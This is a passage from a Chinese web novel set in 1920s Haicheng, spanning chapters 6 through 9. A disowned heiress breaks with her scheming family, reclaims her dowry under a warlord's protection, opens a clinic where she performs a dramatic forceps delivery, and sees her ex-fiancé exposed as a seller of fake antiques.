她看着脸色灰败的沈志远,一步步逼近。
“沈志远,你口口声声说爱我,背地里却睡我的妹妹,谋我的家产。这就是你所谓的新式文明?这就是你所谓的自由恋爱?”
“我……”沈志远张了张嘴,想要辩解,却发现周围人看他的眼神像是在看一坨垃圾。
“还有你,继母。”
沈晚清转头看向王氏,“你口口声声说把我当亲生女儿,却联合外人来骗我的嫁妆。那只被我打碎的花瓶,既然你们说那是母亲留给
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我的念想,为何剩下的这一只,会出现在黑市?难道母亲的在天之灵,就是让你们这样践踏的吗?!”
她这一番话,逻辑严密,字字诛心。
“既然这婚事是一场骗局,既然这沈家容不下我这个原配嫡女……”
沈晚清深吸一口气,当着所有宾客的面,从怀里掏出了一把剪刀。
“你想干什么?!”沈光宗惊恐地喊道。
只见沈晚清抓起自己的一缕长发,“咔嚓”一剪刀剪断!
发丝飘落。
“今日,我沈晚清当着全海城父老乡亲的面,与沈家断绝关系!与沈志远解除婚约!”
“从今往后,我沈晚清是生是死,是富是贵,与沈家再无半点瓜葛!”
说完,她将那缕断发狠狠甩在沈志远脸上。
“这婚礼,就当是给你们这对渣男贱女送终了!”
“好!”
人群中,不知是谁带头叫了一声好。
紧接着,那个一直看戏的亨利院长站了起来,用蹩脚的中文鼓掌道:“精彩!真是精彩!沈小姐,如果你需要律师或者医生,我很乐意帮忙。这种肮脏的家族,确实不待也罢!”
有了洋人带头,**的风向瞬间一边倒。
“太不要脸了!”“连继妹都睡,真是禽兽!”“沈家这下算是臭大街了!”
在一片骂声中,沈晚清抱起母亲的遗照,挺直了脊梁,头也不回地向大门外走去。
她的背影决绝而孤傲,像一只终于冲破牢笼的凤凰。
然而,沈光宗怎么可能让她就这样带走沈家的脸面和那一纸“济世堂”的地契?
“来人!把这个逆女给我拦住!!”
沈光宗怒吼一声,“家法伺候!今天我要打死这个不孝女!”
十几个拿着棍棒的家丁从后院冲了出来,将沈晚清团团围住。
大门紧闭。
宾客们惊呼,却无人敢上前。毕竟这是人家的家务事,而且沈光宗显然是动了真格的。
沈晚清停下脚步,看着周围那些凶神恶煞的家丁。
她只有一个人,手里只有一把剪刀。
看似绝境。
但她的手,却悄悄摸向了口袋里那枚冰凉的翡翠扳指。
那是陆淮锦给她的承诺。
虽然那个男人不在,但他留下的东西,或许比他本人还好用。
就在家丁的棍棒即将落下的一瞬间。
“轰——!!”
沈公馆厚实的大门,突然被人从外面暴力撞开!
两扇沉重的红木门板轰然倒地,激起一片尘土。
所有人都被这巨大的动静吓傻了。
烟尘散去。
只见门口整整齐齐地站着两排荷枪实弹的士兵,清一色的德式**,黑洞洞的枪口直指大厅。
一个穿着副官制服、身形魁梧的男**步走了进来。他的目光在场内扫视一圈,最后定格在被围在中间的沈晚清身上。
他看到了沈晚清手里的那枚翡翠扳指。
那一瞬间,副官的瞳孔剧烈收缩,随即大步上前,推开挡路的家丁,在众目睽睽之下,对着沈晚清单膝跪地,行了一个标准的军礼:
“奉少帅之命,接沈小姐回府!”
这一声吼,声如洪钟,震得整个大厅嗡嗡作响。
沈光宗手里的核桃“啪嗒”一声掉在地上。
沈志远更是两腿一软,直接跪在了地上。
少帅?
北方那位……活阎王?
沈晚清看着眼前这个陌生的副官,紧绷的神经终于松了一分。
她赌对了。
陆淮锦虽然人走了,但他这种级别的人,绝对会在海城留有后手。这枚扳指,就是调动这些后手的钥匙。
她缓缓收起扳指,目光冷冷地扫过早已吓傻的沈家众人。
“父亲,您刚才说,要打死谁?”
第7章 净身出户?做梦!
两排黑洞洞的枪口下,沈公馆大厅内的空气仿佛被抽干了。
沈光宗那张原本涨成猪肝色的脸,此刻惨白如纸。他哆哆嗦嗦地看着眼前这个全副武装的军官,又看了看那个他正准备动用家法“打死”的女儿,腿肚子转筋,连句整话都说不利索。
“少……少帅?”
沈光宗咽了口唾沫,声音都在发颤,“这位长官,是不是有什么误会?这是我们沈家的家务事……”
“误会?”
宋副官冷笑一声,那双在战场上摸爬滚打过的眼睛里满是煞气。他甚至没正眼看沈光宗,而是转身对着沈晚清,恭敬地问道:
“沈小姐,少帅有令,见扳指如见本人。在海城地界,谁敢动您一根头发,就是跟北六省三十万陆家军过不去。刚才这老东西说要打死您?只要您一句话,属下立刻把这里夷为平地。”
“咔嚓!”
两排士兵整齐划一地拉动**,清脆的金属撞击声在死寂的大厅里如同催命符。
“别!别开枪!千万别开枪!”
王氏吓得尖叫一声,两眼一翻,瘫软在椅子上。沈雨柔更是缩在沈志远身后,瑟瑟发抖,连大气都不敢喘。
刚才还不可一世、要清理门户的沈家人,此刻就像一群待宰的鹌鹑。
沈晚清站在大厅中央,手指轻轻摩挲着那枚还带着体温的翡翠扳指。
这就是权力的味道。
在这个弱肉强食的乱世,再多的道理,都不如手里的枪杆子好使。
她看着面前这个对自己毕恭毕敬的宋副官,心里不得不感叹陆淮锦那个男人的影响力。虽然他本人不在,但他留下的这把刀,确实锋利。
“夷为平地倒是不必。”
沈晚清淡淡开口,目光扫过早已吓破胆的沈光宗,“毕竟这里也算是我住过几年的地方。不过……”
她话锋一转,眼神陡然变得凌厉,“既然我已经宣布与沈家断绝关系,那属于我的东西,我自然要带走。我沈晚清,从不占人便宜,但也绝不会让人占了便宜。”
“是是是!带走!都带走!”沈光宗此刻哪里还敢说半个“不”字,只求这个煞星赶紧走,“晚清啊,你的衣服首饰都在楼上,你尽管拿……”
“衣服首饰?”沈晚清嗤笑一声,“父亲,您是不是记性不太好?我刚才念的那张嫁妆单子,您是没听清吗?”
她再次扬了扬手中的清单,声音清冷:
“除了那对天球瓶和济世堂,母亲当年带来的还有红木家具三套、苏绣屏风四座、金银首饰两箱、现大洋五千块,以及古籍字画若干。这些东西,这么多年一直锁在库房里,今日,我要全部带走。”
沈光宗的心在滴血。
那些东西大部分早就被王氏偷偷变卖或者挪用了,剩下的也是沈家的门面,要是都被搬空了,沈家就真的只剩个空壳子了!
“晚清啊……这、这么多东西,一时半会儿也找不齐啊……”王氏硬着头皮哭穷,“再说了,你一个女孩子家,搬出去住哪里放得下……”
“这就不用继母操心了。”
沈晚清打断了她的废话,转头看向宋副官,“宋副官,还要劳烦你的兄弟们帮个忙。去库房,按照这张单子搬。若是少了哪一样……”
她顿了顿,目光落在**架上那些沈光宗平日里最宝贝的收藏品上,“那就用沈家的东西抵。我看这尊玉白菜不错,那幅唐伯虎的画也凑合。要是还不够,就把这房契拿来抵债。”
这就是明晃晃的抄家!
但在枪口下,这就是真理。
“是!”
宋副官一挥手,“兄弟们,干活!听沈小姐指挥,一样都别落下!”
“哎!那是我的玉白菜!那是我的命根子啊!”沈光宗看着大兵们如狼似虎地冲向他的收藏架,心痛得差点背过气去,却被两个士兵用**顶了回去,只能眼睁睁看着。
接下来的半个时辰,沈公馆上演了一出精彩绝伦的“搬家大戏”。
一箱箱贴着封条的樟木箱子被抬了出来,一套套沉重的红木家具被搬上卡车。就连墙上挂着的字画,也被小心翼翼地卷走。
沈晚清就坐在大厅的主位上,手里端着一杯热茶,一边喝,一边对着单子勾勾画画。
“这对**耳环成色不对,是假的。”沈晚清瞥了一眼王氏递过来的首饰盒,冷冷道,“宋副官,把沈太太手上那个翡翠镯子摘下来抵数。”
“你!这是我娘家带来的!”王氏捂着手腕尖叫。
“摘。”宋副官冷冷吐出一个字。
王氏看着那黑洞洞的枪口,只能含泪褪下镯子。
沈志远缩在角落里,看着这一幕,眼中满是怨毒。但他不敢动,因为他刚才试图溜走时,被宋副官一脚踹回了原地,现在膝盖还钻心地疼。
他不明白,那个以前对他唯唯诺诺、连大声说话都不敢的沈晚清,怎么突然变成了这副**不吐骨头的模样?
难道这才是她的真面目?
“清点完毕。”
沈晚清合上单子,站起身。
此时的沈公馆大厅,就像是被蝗虫过境一般,除了几张不值钱的椅子,变得空空荡荡。沈家多年的积蓄,连同沈光宗的私藏,几乎被搬了个底朝天。
“沈老爷,沈太太,还有……”沈晚清的目光落在沈志远身上,“沈少爷。”
“今日一别,咱们两清了。”
她走到沈志远面前,看着这个前世毁了她一生的男人,嘴角勾起一抹残忍的笑意。
“对了,忘了告诉你。那只被你拿去卖掉的花瓶……虽然是假的,但做得还算精致。希望那位洋人买办是个眼拙的,否则……”
沈晚清没有把话说完,只是轻轻拍了拍沈志远僵硬的脸颊,转身向门外走去。
“宋副官,我们走。”
阳光下,沈晚清一身素白孝服,身后跟着两排荷枪实弹的士兵,还有满载而归的卡车队伍。
她走得潇洒,走得决绝。
只留下身后一片狼藉的沈公馆,和如丧考妣的沈家众人。
……
下午三点,济世堂。
位于城南老街的济世堂,此时正热闹非凡。
原本冷清的店铺门口,停着几辆军用卡车。士兵们正热火朝天地往里搬东西。
“轻点!那是药柜!别磕着!”
“那个屏风放后院正厅!”
沈晚清站在店铺中央,指挥着这一切。虽然这里依旧破旧,墙皮脱落,光线昏暗,但此刻她的心里却是前所未有的踏实。
这是她的地盘。
每一块砖,每一片瓦,都属于她自己。
“沈小姐。”
宋副官安排好一切后,走到沈晚清面前,行了个礼,“东西都搬完了。另外,少帅临走前吩咐,让我留下一队人马在附近驻扎,护您周全。您有什么需要,随时吩咐。”
沈晚清看着这个忠诚的汉子,心中微动。
陆淮锦想得倒是周到。在这个乱世,有些东西光有钱守不住,还得有枪。
“替我谢谢少帅。”沈晚清从怀里掏出两根早已准备好的“小黄鱼”,塞到宋副官手里,“兄弟们辛苦了,这点心意,拿去给兄弟们买酒喝。”
这是她刚才从沈家搜刮来的战利品之一。
宋副官连忙推辞:“这怎么行!少帅要是知道了会毙了我的!”
“拿着。”沈晚清语气坚定,“这是我给兄弟们的,与少帅无关。以后济世堂还要仰仗各位照应,皇帝还不差饿兵呢。”
她深知御人之道。陆淮锦的人虽然忠诚,但也是人。恩威并施,才能真正让人卖命。
宋副官看着沈晚清那双澄澈却坚定的眼睛,犹豫片刻,终究是收下了,心中对这位未来的“少帅夫人”更是高看了几眼。
不仅有胆识,更懂做人。怪不得能让少帅把贴身扳指都交出去。
送走了宋副官的大部队,只留下了两个机灵的卫兵守在门口。
沈晚清终于有时间好好审视这间铺子。
前厅是药铺,中间是诊堂,后院是起居室和库房。
虽然因为年久失修显得有些破败,但骨架极好,全是一百年前的老红木结构。
“掌柜的呢?”沈晚清问那个缩在角落里瑟瑟发抖的小伙计。
小伙计叫阿福,是个十五六岁的半大孩子,刚才被那群大兵吓坏了。
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“掌……掌柜的听说沈家出事了,早就卷了柜上的钱跑了……”阿福带着哭腔说道,“大小姐……哦不,东家,您不会也要赶我走吧?我没地方去了……”
沈晚清看着这个瘦弱的孩子,前世记忆里,济世堂倒闭后,这个阿福流落街头,后来为了救一个被流氓欺负的女孩被人打**。也是个苦命却心善的。
“我不赶你走。”沈晚清走过去,替他整理了一下歪掉的帽子,“从今天起,这济世堂我接手了。只要你肯干,我保你有饭吃,有书读。”
阿福猛地抬起头,眼里闪着泪光,扑通一声跪下:“东家!阿福这条命以后就是您的!”
“起来吧。先把这块牌匾摘下来。”
沈晚清指着门口那块摇摇欲坠的旧牌匾。
“摘下来?那挂什么?”阿福不解。
“擦干净,重新描金。”沈晚清眼中闪烁着野心的光芒,“从明天起,济世堂不光卖中药,还要开西医诊所。我要让这三个字,成为海城的一块金字招牌。”
接下来的几天,济世堂开始了紧锣密鼓的改造。
沈晚清并没有大兴土木,而是将后院的一间厢房彻底消毒,改造成了无菌手术室。她从黑市买来的那些手术器械终于有了用武之地。
同时,她利用从沈家搬来的钱,高薪聘请了两个在这个时代备受排挤的老中医坐堂,主打“中西医结合”。
然而,开业前三天,门可罗雀。
路过的人看到是个年轻女子坐堂,还是个刚退婚的女人,大多指指点点,根本没人敢进来看病。
“这沈家大小姐是不是疯了?不在家哭,跑出来抛头露面?”“听说她要拿刀给人开膛破肚?这哪是治病,这是**吧!”“谁敢去啊,晦气!”
流言蜚语满天飞。
阿福急得嘴角都起泡了:“东家,这一天了,连个买甘草的都没有。再这样下去……”
沈晚清正坐在柜台后,慢条斯理地翻看着一本英文医学期刊,神色淡定。
“急什么。酒香不怕巷子深。而且……”
她抬起头,看向门外熙熙攘攘的街道,嘴角勾起一抹自信的笑,“我的第一个病人,马上就要到了。”
话音刚落。
门口突然传来一阵喧哗声。
“让开!都让开!**了!别挡道!”
只见一群衣衫褴褛的乞丐,抬着一块破门板,疯了一样往这边冲。门板上躺着一个头发花白的老妇人,面色青紫,肚子大得吓人,正痛苦地哀嚎着,身下全是血。
周围的医馆看到这群乞丐,纷纷关门闭户。
“快走快走!别死在我门口!晦气!”
领头的一个年轻乞丐,身材高大,却急得满头大汗,扑通一声跪在一家叫“回春堂”的医馆门口砰砰磕头:
“大夫!求求您救救我娘!她难产了两天了!我有钱!我有钱!”
他从怀里掏出一把带血的铜板,那是他刚去码头扛包赚来的。
“滚滚滚!难产两天那是死胎!救不活了!别脏了我的地!”回春堂的伙计拿着扫帚就把人往外赶。
年轻乞丐绝望了。他抱着头,发出野兽般的嘶吼。
就在这时,一道清冷而坚定的声音穿透了喧嚣,清晰地传到了每一个人耳朵里。
“抬进来。”
众人回头。
只见济世堂的门口,沈晚清不知何时站在了那里。她已经换下了一身白大褂,戴着口罩,手里拿着一副听诊器。
夕阳的余晖洒在她身上,给她镀上了一层金边。
“抬进我的手术室。这人,我救。”
全场寂静。
所有人都像看疯子一样看着她。
难产两天,还是个高龄产妇,连洋医生都不敢接,这个被退婚的大小姐,竟然敢接?
那年轻乞丐愣了一下,随即像是抓住了最后一根救命稻草,连滚带爬地冲过来:
“只要能救我娘!我赵龙这条命就是你的!”
沈晚清没有废话,转身推开了手术室的门。
“准备热水,阿福,消毒!准备手术!”
这一战,不仅是救人。
更是她在海城立足的,第一刀。
第8章 第一个病人
济世堂那扇刚擦拭干净的玻璃门,“砰”的一声被关上了,隔绝了街道上嘈杂的议论和指指点点。
夕阳的余晖透过门缝斜斜地洒进来,照在阿福惨白的小脸上。他死死抵住门,听着外面那些“**了”、“造孽啊”的叫骂声,浑身都在发抖。
“东……东家,真的要救吗?这可是两只脚都踏进鬼门关的人了……”阿福转过头,声音带着哭腔。
在他看来,这根本不是救人,这是在给自己找麻烦。那个乞丐婆已经翻了白眼,出气多进气少,肚子大得像个随时会炸开的皮球,身下的草席早就被血水浸透了。这要是死在店里,济世堂这块刚挂上去的金字招牌,怕是还没亮就要砸了。
“少废话,烧水,点灯!”
沈晚清的声音冷得像冰渣子,却带着一股奇异的镇定力量。
她动作利落地脱下那件价值不菲的丝绸旗袍,换上了早已准备好的白色棉布大褂。这一刻,她不再是沈家那个被扫地出门的大小姐,而是海城——不,是整个民国绝无仅有的外科圣手。
后院的一间厢房已经被她改造成了简易的手术室。虽然简陋,没有无影灯,没有呼吸机,但在她一遍遍的高锰酸钾熏蒸和酒精擦拭下,这里是目前海城华界最干净的地方。
“把人抬上来。”
沈晚清指挥着那个名叫赵龙的年轻乞丐。
赵龙此刻也是满头大汗,那双布满老茧的大手颤抖着,小心翼翼地将母亲放到那张窄小的手术台上。
“大夫……求您……一定要救活我娘……”赵龙这个七尺高的汉子,此刻眼圈通红,“我就这一个亲人了。只要您救活她,我赵龙给您当牛做马!”
“出去。”
沈晚清没有多余的废话,眼神锐利,“在外面守着,谁也不许进来。不管听到什么声音,都不许闯进来。否则,就是你亲手杀了你娘。”
赵龙浑身一震,看着沈晚清那双不容置疑的眼睛,咬了咬牙,重重地点了个头,转身退了出去,像尊门神一样守在手术室门口。
手术室的门关上了。
屋内点起了四盏极亮的煤油汽灯,将房间照得如同白昼。
沈晚清戴上口罩和橡胶手套,拿起听诊器贴在产妇高耸的肚皮上。
微弱,但急促。
胎心还在,在160左右徘徊,这是胎儿宫内窘迫的信号。再拖半小时,就是一尸两命。
她迅速检查了产道。
“胎位不正,是枕后位,加上产妇高龄体弱,宫缩无力。”沈晚清迅速做出了判断。
在这个年代,这就是绝症。稳婆遇到这种情况,通常只会问保大还是保小,或者干脆用土法子把孩子硬拽出来,结果往往是产妇大出血而亡。
但在沈晚清眼里,这只是一个需要侧切和产钳助产的手术。
“阿福,过来帮忙。”沈晚清冷静地命令道,“别怕,把这瓶**滴在面罩上,捂住她的口鼻。我要让她睡一觉。”
阿福虽然吓得腿软,但看着东家那双沉稳的手,不知怎的,心里竟然生出一股勇气。他哆哆嗦嗦地接过**瓶子:“是……是,东家。”
随着**的挥发,原本还在痛苦呻吟、身体抽搐的产妇,呼吸渐渐平稳下来,陷入了深度的麻醉昏迷。
这是1920年的海城,除了租界的洋人医院,普通百姓哪里见过“麻醉”这种神技?若是外面的人看到这一幕,怕是要喊着“****”了。
沈晚清拿起手术刀。
那是她从黑市花重金买来的德国货,刀锋在汽灯下闪烁着凛冽的寒光。
“消毒。”
碘伏擦拭过会阴部。
没有任何犹豫,沈晚清手中的柳叶刀稳准狠地切了下去!
会阴左侧切开术。
鲜血瞬间涌出,但很快被止血钳夹住。
这一刀,是为了扩宽产道,给那个卡住的孩子一条生路。
如果此时有中医或者稳婆在场,看到这“残忍”的一幕,恐怕会当场吓晕过去。在这个讲究“身体发肤受之父母”的年代,在人身上动刀子,简直是大逆不道。
但沈晚清的神情专注而虔诚。
她是医生,在她的眼中,没有男女之防,没有封建礼教,只有生命。
“产钳。”
沈晚清从托盘里拿起那两把早已消毒好的金属产钳。这两把像大号勺子一样的金属器械,在这个时代绝对是稀罕物。
她熟练地将产钳叶片分别滑入产道,准确地扣住了胎儿的头部。
“阿福,按住她的腿。”
“吸气……用力……”沈晚清虽然知道产妇听不见,但还是习惯性地低语,配合着并不存在的宫缩,手腕巧妙地用力旋转、牵拉。
一下,两下。
汗水顺着沈晚清的额头滑落,流进眼睛里,涩得生疼,但她连眨都没眨一下。
终于,一个黑紫色的、湿漉漉的小脑袋,缓缓从切口处滑了出来!
“出……出来了!”阿福惊呼出声,眼珠子都要瞪出来了。他这辈子都没见过这么生孩子的!
沈晚清没有松懈,迅速清理胎儿口鼻中的羊水和粘液,然后轻轻一托,将整个婴儿拉了出来。
是个男孩。
但是,孩子浑身青紫,没有哭声。
窒息。
手术室里的空气瞬间凝固。
如果救活了大人,孩子却**,这手术依然算不上成功。
沈晚清立刻将婴儿倒提起来,拍打脚底。
没反应。
她当机立断,将婴儿放在操作台上,俯下身,口对口地吸出了婴儿呼吸道里残留的浑浊羊水,然后开始进行胸外按压和人工呼吸。
一下,两下,三下……
时间一分一秒地过去。
门外,隐约传来了赵龙焦躁的踱步声和外面人群的喧哗。
“这都半个时辰了,肯定**!”“那个女娃娃懂什么接生,这是作孽啊!”
阿福看着那个毫无生气的小身子,心都凉了半截:“东家……是不是……”
“哇——!!!”
一声微弱却穿透力极强的啼哭声,猛然在手术室里炸响!
这声音虽然稚嫩沙哑,却像是天籁之音,瞬间击碎了所有的死寂。
孩子的小胸脯剧烈起伏着,原本青紫的皮肤开始慢慢转红。
活了!
阿福腿一软,直接瘫坐在地上,又哭又笑:“活了!真的活了!”
沈晚清长长地舒了一口气,只觉得双臂酸痛得几乎抬不起来。她直起腰,嘴角勾起一抹疲惫却欣慰的笑意。
但这还没完。
缝合。
她重新拿起持针器,对产妇的伤口进行分层缝合。这对于刚刚给陆淮锦做过枪伤手术的她来说,已经是驾轻就熟。
二十分钟后。
手术结束。
沈晚清摘下满是血迹的手套,洗净了手,亲自抱着那个被包在干净棉布里的小家伙,示意阿福打开手术室的门。
门外。
赵龙正像头困兽一样在门口转圈,听到开门声,猛地扑了过来,却又在距离沈晚清一步之遥的地方硬生生刹住车,不敢伸手。
他看着沈晚清那一身沾着血迹的白大褂,嘴唇哆嗦着:“大夫……我娘她……”
沈晚清将怀里那个正在哇哇大哭的小团子递了过去。
“是个儿子,五斤六两,母子平安。”
赵龙僵住了。
他看着那个红彤彤、皱巴巴的小东西,又看了看沈晚清平静的脸,仿佛在听天书。
“平……平安?”
“怎么,还要我再说一遍?”沈晚清挑眉,“你娘麻药还没过,大概还要睡一个时辰。进去看看吧,别大声喧哗。”
赵龙“噗通”一声,双膝重重地砸在地上,把青砖地面都砸得震天响。
“神医!活菩萨啊!!”
这个流血不流泪的汉子,此刻哭得像个孩子,不停地给沈晚清磕头,额头都磕破了,“我赵龙这条命,以后就是您的!谁敢动济世堂一块砖,我就跟谁拼命!”
门外围观的街坊邻居们,原本都在等着看笑话,甚至有人准备好了烂菜叶子要砸这个“害人精”。
可当那响亮的婴儿哭声传出来,当看到赵龙抱着孩子跪地痛哭的场景时,所有人都哑巴了。
“活了?真的活了?”
“我的天爷,那可是难产了两天的死胎啊!”
“这沈家大小姐……莫非是被神仙附体了?”
人群中,一个看热闹的老郎中摸着胡子,一脸见鬼的表情:“剖腹取子还能母子双全?这……这简直是华佗在世啊!”
沈晚清站在门口,解下染血的口罩,露出一张清冷绝美的脸。
她看着门外那些从质疑到震惊,再到敬畏的眼神,朗声道:
“我沈晚清开济世堂,只为救人,不问出身。无论是达官显贵,还是贩夫走卒,进了这道门,就是我的病人。”
“今日起,济世堂正式问诊。专治外科创伤、难产急症。若有疑难杂症,尽管抬来!”
这一番话,掷地有声。
夕阳下,那个穿着染血白大褂的身影,在众人眼中变得高大起来。
那个关于“沈家弃女”、“败家精”的谣言,在这一刻,不攻自破。取而代之的,是一个关于“妙手回春”、“女华佗”的传说。
……
入夜。
济世堂终于安静了下来。
产妇已经被转移到了干净的病房,喝了点糖水,虽然虚弱,但精神尚好。赵龙寸步不离地守在床边,看着熟睡的弟弟和老娘,傻笑着流泪。
后院,沈晚清正在清洗手术器械。
这是她的习惯,每一把刀,每一把剪,都要亲自保养。
“东家,您累坏了吧?快喝口热茶。”阿福端着一杯茶走了进来,看向沈晚清的眼神里充满了崇拜,就像在看神仙。
沈晚清
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接过茶,轻轻抿了一口。
“阿福,今天怕吗?”
“怕……”阿福老实地点点头,随即又挺起胸膛,“但是看到那孩子哭出来的时候,就不怕了!东家,您真厉害!那刀子划下去,我都快吓**,您手都不抖一下!”
沈晚清笑了笑,目光深邃:“阿福,记住了。咱们手里拿的虽然是刀,但行的却是慈悲事。这就叫‘霹雳手段,菩萨心肠’。”
就在这时,前堂突然传来了一阵急促的敲门声。
这个时候?
沈晚清放下茶杯,眉头微皱。难道又有急诊?
她示意阿福去开门,自己则将手术刀藏在袖口,警惕地跟在后面。
门开了。
站在门口的,并不是什么病人。
而是一个穿着黑色长衫、戴着礼帽的中年男人。他身后跟着两个目光阴鸷的随从,一看就不是善茬。
那人看了一眼阿福,目光越过他,直接落在沈晚清身上,皮笑肉不笑地拱了拱手:
“沈小姐,鄙人是海城商会的管事,姓周。这么晚打扰,是有件事想跟沈小姐‘商量’一下。”
商会?
沈晚清眼神微冷。海城商会把持着整个华界的药材生意,说是商会,其实就是地头蛇。
“周管事请讲。”
“听说沈小姐今天露了一手绝活,把**都救活了,真是佩服。”周管事走进店内,四处打量了一番,眼神贪婪,“不过嘛,这海城医药行有医药行的规矩。沈小姐这铺子重开,一没拜码头,二没入会,这生意……怕是不好做啊。”
“哦?”沈晚清倚在柜台上,似笑非笑,“那依周管事的意思,我该怎么做?”
“简单。”周管事伸出五根手指,“济世堂每月的流水,我们要抽五成。另外,听说沈小姐手里有一种白色的药粉,效果极好。把那配方交出来,这海城以后就没人敢找您的麻烦。”
图穷匕见。
原来是盯上了她的药。
今天的手术虽然成功,但产妇之所以没感染,除了无菌操作,沈晚清最后敷在伤口上的那点自制消炎粉功不可没。没想到这帮人鼻子这么灵,这么快就闻着味儿来了。
阿福气得脸都红了:“五成?!你们怎么不去抢!”
“这就是抢,怎么样?”周管事身后的随从上前一步,露出腰间别着的斧头。
沈晚清伸手拦住阿福,脸上并没有丝毫慌张。
“五成?配方?”
她低声重复着这两个词,突然轻笑出声,“周管事,您的胃口未免太小了。”
周管事一愣:“什么意思?”
“我的药,能救命,也能换金条。”沈晚清随手从柜台上拿起一瓶她特制的药粉,“您只要这点,是不是太看不起这药了?”
周管事眼中精光大盛:“那是自然!沈小姐是个明白人!只要您合作……”
“可惜啊。”
沈晚清话锋一转,眼神瞬间变得冰冷如刀,“这药,我给乞丐用,给穷人用,甚至给狗用,都不会给你们这种吸血鬼用。”
“你!敬酒不吃吃罚酒!”周管事恼羞成怒,“给我砸!让这小娘们知道知道规矩!”
两个随从拔出斧头就要动手。
“我看谁敢!!”
一声暴喝从后院传来。
只见赵龙像头愤怒的黑熊一样冲了出来,手里抄着一根粗大的门闩。他身后,不知何时**了十几个衣衫褴褛却满眼凶光的乞丐。
“敢动我恩人?问问我丐帮的一万兄弟答不答应!!”
赵龙一声吼,震得那两个随从手一抖,斧头差点掉下来。
丐帮?
周管事脸色一变。在海城,除了军阀和青帮,最难缠的就是这群光脚不怕穿鞋的乞丐。他们虽然没钱,但人多势众,遍布全城,真要惹急了,能把你家祖坟都刨了。
“好……好你个沈晚清,竟然跟臭要饭的混在一起!”周管事指着沈晚清,色厉内荏,“你给我等着!咱们走着瞧!”
说完,带着人灰溜溜地跑了。
看着他们狼狈逃窜的背影,沈晚清收起了手中的手术刀。
她转头看向赵龙和那一群乞丐,心中涌起一股暖流。
这一刀,没白开。
在这个乱世,有时候最底层的力量,才是最坚实的护盾。
“赵大哥。”沈晚清看着赵龙,“既然大家都来了,我有件事,想请各位兄弟帮个忙。”
“恩人您说!上刀山下火海,皱一下眉头我就不是人!”赵龙拍着胸脯。
沈晚清从柜台下拿出一把银元,放在桌上。
“不用上刀山。我想请各位兄弟,帮我盯着几个人,还有……帮我散布点消息。”
她的眼神望向窗外漆黑的夜色,那里是沈公馆的方向。
既然商会来找茬,那正好借力打力。
她要让整个海城都知道,沈志远手里那只花瓶,到底是个什么货色。
第9章 赝品的代价
海城公共租界,礼查饭店二楼。
这里是海城最顶级的销金窟,也是洋人冒险家和买办们的**地。水晶吊灯折射出璀璨的光芒,衣香鬓影间流淌着昂贵的香槟气味。
沈志远穿着那身有些褶皱的意式西装,怀里死死抱着一只锦盒,神色既紧张又亢奋。
虽然沈公馆被沈晚清那个疯女人搬空了,虽然他的名声在婚礼上臭了大街,但沈志远并不绝望。
因为他怀里还抱着“东山再起”的希望。
“只要这只花瓶卖出去,两万大洋……”沈志远舔了舔干裂的嘴唇,眼底闪烁着贪婪的光芒,“到时候,我还愁什么前程?我要去法国,去更远的地方,把沈晚清那个**踩在脚下!”
坐在他对面的,是一个留着两撇小胡子的法国古董商,名叫皮埃尔。旁边还坐着一位穿着长衫、戴着老花镜的华人鉴定师,那是海城古玩界泰斗“一眼准”马师傅。
“沈先生,这就是您说的宋代官窑?”皮埃尔操着生硬的中文,蓝眼睛里带着一丝怀疑。
“千真万确!这是沈家祖传的宝贝,若不是为了筹集去法国的路费,我绝舍不得拿出来。”沈志远小心翼翼地打开锦盒,取出了那只粉彩九桃天球瓶。
灯光下,花瓶釉面温润,九颗桃子栩栩如生,确实精美绝伦。
皮埃尔眼睛亮了一下,刚要伸手,却被旁边的马师傅拦住了。
“慢着。”
马师傅扶了扶眼镜,从怀里掏出一个放大镜,还要了一盏**。
沈志远的心提到了嗓子眼,手心全是冷汗。虽然王氏信誓旦旦说这花瓶是真的,但他毕竟心虚,因为他是偷出来的。
时间一分一秒过去。
马师傅对着花瓶的瓶底、瓶颈看了足足十分钟,脸上的表情从严肃变成了……嘲讽。
“怎么样?马师傅,这可是好东西吧?”沈志远忍不住催促道。
马师傅放下放大镜,冷笑一声,将花瓶重重地往桌上一顿。
“咚”的一声,吓得沈志远一哆嗦。
“好东西?确实是好东西。”马师傅慢悠悠地端起茶杯,“景德镇后巷老张头的‘高仿’手艺,确实越来越好了。这做旧的火气都没退干净,就敢拿到礼查饭店来蒙洋人?”
沈志远脑子里“嗡”的一声,仿佛被一道惊雷劈中。
“你……你胡说什么!”他猛地站起来,脸色涨红,“这怎么可能是假的!这是我前岳母的嫁妆,是宋朝传下来的!”
“宋朝?”马师傅嗤之以鼻,“宋朝哪来的粉彩?粉彩是清康熙年间才有的工艺!你连这点常识都不懂,还敢来**?”
旁边的皮埃尔虽然不懂中国历史,但听懂了“**”两个字。他的脸色瞬间阴沉下来。
“沈先生,你是在戏弄我吗?”皮埃尔愤怒地拍案而起,“我的时间很宝贵!你竟然拿一个赝品来浪费我的时间!”
“不……不是的!皮埃尔先生,您听我解释!这肯定是鉴定错了……”沈志远语无伦次地想要辩解,伸手想去抓皮埃尔的袖子。
“滚开!骗子!”
皮埃尔厌恶地甩开他,对着门口招了招手。
两个身材魁梧的印度巡捕立刻冲了进来。
“把他给我扔出去!以后不许这个骗子踏进公共租界半步!”
“放开我!我是留洋博士!我是斯文人……”沈志远拼命挣扎,但在那两个铁塔般的巡捕面前,他就像只弱鸡。
“啪!”
挣扎中,那个锦盒掉落在地。
那只承载着沈志远翻身美梦的“天球瓶”,在地板上摔了个粉碎。碎片四溅,露出里面惨白的劣质瓷胎。
沈志远呆呆地看着那一地碎片,那是两万大洋啊……就这样变成了垃圾。
还没等他回过神,一顿老拳就如雨点般落在他身上。印度巡捕下手极黑,专门往肉厚的地方招呼。
“啊!别打了!我是沈家大少爷……啊!”
五分钟后。
沈志远像条死狗一样被扔出了礼查饭店的后门,正好摔在一条散发着恶臭的阴沟旁。
他的意式西装被撕破了,眼镜碎了一片,那张原本还算英俊的脸此刻肿得像个猪头,鼻血横流。
“呸!什么东西!”
围观的路人指指点点。
就在这时,人群中挤出几个衣衫褴褛的乞丐。领头的正是那天在济世堂门口被沈晚清救了老娘的赵龙的一个手下,叫“麻杆”。
麻杆手里拿着个破碗,笑嘻嘻地凑到沈志远面前,大声吆喝道:
“哎哟,这不是沈家大少爷吗?听说您拿个假花瓶去骗洋人,被人家打出来了?”
“啧啧啧,这可是大新闻啊!大家快来看啊,沈家那个睡小姨子、骗嫁妆的大少爷,原来是个卖假货的骗子!”
麻杆这一嗓子,中气十足,周围看热闹的人瞬间围了一圈。
